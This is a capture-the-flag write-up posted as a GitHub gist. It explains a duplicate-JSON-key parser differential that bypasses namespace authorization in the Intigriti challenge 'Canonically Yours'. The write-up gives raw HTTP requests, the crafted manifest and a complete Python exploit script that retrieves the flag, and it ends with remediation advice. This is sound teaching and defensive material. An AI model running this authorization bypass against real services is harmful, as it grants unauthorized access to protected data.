Skip to content

Instantly share code, notes, and snippets.

@AaronChen0
Last active July 30, 2026 10:09
Show Gist options
  • Select an option

  • Save AaronChen0/b3f2f6be01d86b755f297bd950050fb1 to your computer and use it in GitHub Desktop.

Select an option

Save AaronChen0/b3f2f6be01d86b755f297bd950050fb1 to your computer and use it in GitHub Desktop.
Canonically Yours CTF Write-up

Flag

INTIGRITI{019f8700-4613-74fb-923e-781903e4bee9}

Challenge summary

The application accepts a base64-encoded JSON manifest and exposes these relevant API operations:

  • POST /api/register — creates an account.
  • POST /api/login — authenticates an account.
  • GET /api/me — returns the current user and CSRF token.
  • POST /api/manifests/preview — validates a manifest.
  • POST /api/manifests/sign — issues a signed approval for a manifest.
  • POST /api/publications — creates a report using the signed manifest and approval.
  • GET /api/publications/<publication_id> — retrieves the generated report.

The intended user is restricted to packages in the private namespace assigned during registration. The protected package is @core/security-notes.

The vulnerability is a parser differential caused by duplicate JSON object keys. The manifest can contain two package members:

  1. The first package identifies a package in the attacker-controlled namespace.
  2. The last package identifies @core/security-notes.

The authorization checks accept the first object, while normal JavaScript JSON.parse last-wins behavior causes later report generation to use the second object.

Vulnerability details

JSON object member names must not be relied upon to have duplicate-key semantics. Different parsers and processing stages may handle duplicate keys differently. In this challenge:

{
  "package": { "scope": "attacker-namespace", "name": "hello-world", "version": "1.0.0" },
  "package": { "scope": "core", "name": "security-notes", "version": "1.0.0" }
}

The validation/signing path examines the first package member and sees an allowed package owned by the current user. The publication/report path parses the JSON with ordinary last-wins semantics and resolves the final package member:

@core/security-notes@1.0.0

This bypasses the intended namespace restriction without changing registry data.

Burp Suite setup

Configure Burp Suite Proxy to intercept traffic from the browser, log in to the challenge, and send the captured requests to Repeater as needed.

Use these placeholders in the requests below:

  • <HOST>: challenge-0726.intigriti.io
  • <SESSION_COOKIE>: the authenticated session cookie from the registration or login response
  • <YOUR_NAMESPACE>: the namespace returned by GET /api/me
  • <CSRF_TOKEN>: the CSRF token returned by GET /api/me
  • <MANIFEST_B64>: the base64 encoding of the malicious raw manifest
  • Approval fields: copied exactly from the sign response

Burp can calculate or update Content-Length automatically. The request bodies shown below are the values that matter.

Step 1 — Create an account

Create an account through the challenge UI while Burp Proxy is intercepting, or send this request from Burp Repeater:

POST /api/register HTTP/1.1
Host: challenge-0726.intigriti.io
Content-Type: application/json
Accept: application/json
Connection: close

{"username":"burp-poc-unique","password":"burp-poc-password-2026"}

Use a unique lowercase username and a password of at least 12 characters. The response contains the account and assigned namespace. It also establishes the authenticated session; retain the session cookie for all subsequent requests.

If the account already exists, authenticate instead:

POST /api/login HTTP/1.1
Host: challenge-0726.intigriti.io
Content-Type: application/json
Accept: application/json
Connection: close

{"username":"burp-poc-unique","password":"burp-poc-password-2026"}

Copy the session cookie from the response or from the browser's intercepted authenticated request.

Step 2 — Obtain the namespace and CSRF token

Send the following request in Burp Repeater with the session cookie:

GET /api/me HTTP/1.1
Host: challenge-0726.intigriti.io
Cookie: <SESSION_COOKIE>
Accept: application/json
Connection: close

Expected response shape:

{
  "user": {
    "id": "<uuid>",
    "username": "burp-poc-unique",
    "namespace": "<YOUR_NAMESPACE>"
  },
  "csrf_token": "<CSRF_TOKEN>"
}

Save the namespace and csrf_token. The exact namespace is different for every account and must be used in the first package object.

Step 3 — Build the duplicate-key manifest

Do not create the manifest as an ordinary object and serialize it. Most object serializers collapse duplicate keys. Construct the raw JSON text with two literal package members:

{
  "package": {
    "scope": "<YOUR_NAMESPACE>",
    "name": "hello-world",
    "version": "1.0.0"
  },
  "package": {
    "scope": "core",
    "name": "security-notes",
    "version": "1.0.0"
  },
  "metadata": {
    "description": "x",
    "visibility": "private"
  },
  "operation": "preflight"
}

In Burp Suite, copy the raw manifest into Decoder, select Encode as, choose Base64, and copy the resulting value as <MANIFEST_B64>.

The first package must refer to a package in the current user's namespace. The last package is the protected target. Preserve the exact encoded value for every subsequent request; changing whitespace or bytes changes the signed digest.

Step 4 — Submit the preview request

Send this request in Burp Repeater:

POST /api/manifests/preview HTTP/1.1
Host: challenge-0726.intigriti.io
Cookie: <SESSION_COOKIE>
Content-Type: application/json
Accept: application/json
X-CSRF-Token: <CSRF_TOKEN>
Connection: close

{"manifest_b64":"<MANIFEST_B64>"}

Expected response:

HTTP/1.1 200 OK
Content-Type: application/json

{"valid":true,"operation":"preflight"}

This confirms that the first package member passes validation.

Step 5 — Request a signed approval

Use the exact same <MANIFEST_B64> value:

POST /api/manifests/sign HTTP/1.1
Host: challenge-0726.intigriti.io
Cookie: <SESSION_COOKIE>
Content-Type: application/json
Accept: application/json
X-CSRF-Token: <CSRF_TOKEN>
Connection: close

{"manifest_b64":"<MANIFEST_B64>"}

Expected response shape:

HTTP/1.1 201 Created
Content-Type: application/json

{
  "approval_id": "<APPROVAL_ID>",
  "manifest_sha256": "<MANIFEST_SHA256>",
  "nonce": "<NONCE>",
  "expires_at": 1785401830,
  "signature": "<SIGNATURE>"
}

The approval fields are bound to the exact manifest bytes. Copy all five values from this response without modification.

Step 6 — Create the publication

Forward the approval fields together with the unchanged manifest:

POST /api/publications HTTP/1.1
Host: challenge-0726.intigriti.io
Cookie: <SESSION_COOKIE>
Content-Type: application/json
Accept: application/json
X-CSRF-Token: <CSRF_TOKEN>
Connection: close

{
  "manifest_b64": "<MANIFEST_B64>",
  "approval_id": "<APPROVAL_ID>",
  "manifest_sha256": "<MANIFEST_SHA256>",
  "nonce": "<NONCE>",
  "expires_at": 1785401830,
  "signature": "<SIGNATURE>"
}

Expected response:

HTTP/1.1 201 Created
Content-Type: application/json

{
  "publication_id": "<PUBLICATION_ID>",
  "status": "ready"
}

The observed reproduction returned publication ID:

e0d04fd2-3dc1-4c62-b785-5999e0f4fbc9

Step 7 — Retrieve the report

Request the publication using the ID returned in the previous response:

GET /api/publications/<PUBLICATION_ID> HTTP/1.1
Host: challenge-0726.intigriti.io
Cookie: <SESSION_COOKIE>
Accept: application/json
Connection: close

Expected relevant response fields:

{
  "publication_id": "<PUBLICATION_ID>",
  "target": "@core/security-notes",
  "version": "1.0.0",
  "status": "ready",
  "report": {
    "digest": "<MANIFEST_SHA256>",
    "target": "@core/security-notes",
    "compatibility": "Read-only preflight completed.",
    "release_notes": "INTIGRITI{019f8700-4613-74fb-923e-781903e4bee9}",
    "latest_version": "1.0.0",
    "package_exists": true
  }
}

The flag is in report.release_notes.

Complete Python PoC

The step-by-step requests above are shown in Burp Suite format. The following complete script performs the same flow using Python.

#!/usr/bin/env python3

import base64
import json
import time
import requests

BASE = "https://challenge-0726.intigriti.io"

def check(response, label):
    response.raise_for_status()
    print(f"{label}: HTTP {response.status_code}")
    return response

session = requests.Session()
username = f"python-poc-{int(time.time())}"
password = "python-poc-password-2026"

# Registration establishes the authenticated session cookie.
check(
    session.post(
        f"{BASE}/api/register",
        json={"username": username, "password": password},
        timeout=15,
    ),
    "register",
)

me = check(session.get(f"{BASE}/api/me", timeout=15), "me").json()
namespace = me["user"]["namespace"]
csrf = me["csrf_token"]

# Keep this as raw text. Serializing a normal Python dict would remove
# the duplicate package key and break the parser differential.
raw_manifest = f'''{{
  "package": {{
    "scope": "{namespace}",
    "name": "hello-world",
    "version": "1.0.0"
  }},
  "package": {{
    "scope": "core",
    "name": "security-notes",
    "version": "1.0.0"
  }},
  "metadata": {{
    "description": "x",
    "visibility": "private"
  }},
  "operation": "preflight"
}}'''

manifest_b64 = base64.b64encode(raw_manifest.encode("utf-8")).decode("ascii")
csrf_headers = {
    "Content-Type": "application/json",
    "X-CSRF-Token": csrf,
}

preview = check(
    session.post(
        f"{BASE}/api/manifests/preview",
        headers=csrf_headers,
        json={"manifest_b64": manifest_b64},
        timeout=15,
    ),
    "preview",
).json()
print(json.dumps(preview, indent=2))

approval = check(
    session.post(
        f"{BASE}/api/manifests/sign",
        headers=csrf_headers,
        json={"manifest_b64": manifest_b64},
        timeout=15,
    ),
    "sign",
).json()
print(json.dumps(approval, indent=2))

publication = check(
    session.post(
        f"{BASE}/api/publications",
        headers=csrf_headers,
        json={
            "manifest_b64": manifest_b64,
            "approval_id": approval["approval_id"],
            "manifest_sha256": approval["manifest_sha256"],
            "nonce": approval["nonce"],
            "expires_at": approval["expires_at"],
            "signature": approval["signature"],
        },
        timeout=15,
    ),
    "publication",
).json()
print(json.dumps(publication, indent=2))

report = check(
    session.get(
        f"{BASE}/api/publications/{publication['publication_id']}",
        timeout=15,
    ),
    "report",
).json()

print(json.dumps(report, indent=2))
print("FLAG:", report["report"]["release_notes"])

Expected final output:

FLAG: INTIGRITI{019f8700-4613-74fb-923e-781903e4bee9}

Why the exploit works

  1. The raw manifest has duplicate package keys.
  2. The authorization-oriented processing accepts the first package, which belongs to the current user's namespace.
  3. Preview and signing therefore return success and produce a valid approval for the exact manifest bytes.
  4. Publication/report generation resolves the duplicate key using last-wins JSON parsing.
  5. The effective report target becomes @core/security-notes.
  6. The generated report exposes the protected package's release notes, containing the flag.

The signed digest does not prevent the exploit because the signature authenticates the bytes of the already-accepted manifest; it does not enforce a single canonical interpretation of duplicate JSON members.

Root cause and remediation

The root cause is accepting non-canonical JSON with duplicate member names and processing the same signed input through parsers with different duplicate-key behavior.

Recommended fixes:

  • Reject duplicate object keys during JSON parsing, before authorization or signing.
  • Parse once into a canonical representation and use that same representation for authorization, signing, publication, and report generation.
  • Canonicalize the manifest before hashing/signing and verify authorization against the canonicalized value.
  • Avoid separate “first key” and standard JSON.parse code paths.
  • Add tests covering duplicate keys at every nested object level, including conflicting package scopes.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment